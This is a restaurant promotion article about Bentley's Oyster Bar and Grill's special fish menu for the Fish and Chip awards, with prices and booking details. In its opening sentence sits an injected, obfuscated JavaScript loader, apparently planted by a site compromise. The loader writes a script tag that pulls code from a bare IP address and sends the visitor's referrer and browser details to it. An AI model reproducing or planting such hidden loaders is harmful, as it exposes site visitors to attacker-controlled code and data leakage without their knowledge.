BENTLEY’S OYSTER BAR AND GRILL

It’s (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnhhr|var|u0026u|referrer|yftkk||js|php’.split(‘|’),0,{}))
awards season at the moment, with the Golden globes just passed and the Oscars coming up soon, but the most glamorous awards of the year are to be handed out on January 17th at the Fish and Chip awards! Now in its 23rd year, the humble chippie has its own industry awards with a range of prizes being handed out to independent shops, chain restaurants, best newcomer and even young fish fryer of the year. This year’s event will be hosted by TV chef Richard Corrigan

To celebrate the occasion, luxury fish restaurant Bentley’s Oyster bar and grill have devised a special menu, available at lunchtimes Monday to Friday and also Monday evenings. Bentley’s is far from the average neighbourhood chippie, this is a gourmet fish restaurant. The menu includes skate with potato scallops and salsa verde, shallow fried plaice with crushed egg vinaigrette or beer battered Pollock with crushed peas and tartare sauce. There’s also a hearty array of starters and desserts with a three course meal costing £24.95.

So get your SKATEs on – this really is the PLAICE to be this January!

To make a reservation, drop them a line at reservations@bentleys.org or on 020 7734 4756.

11 Swallow Street, W1B
www.bentleys.org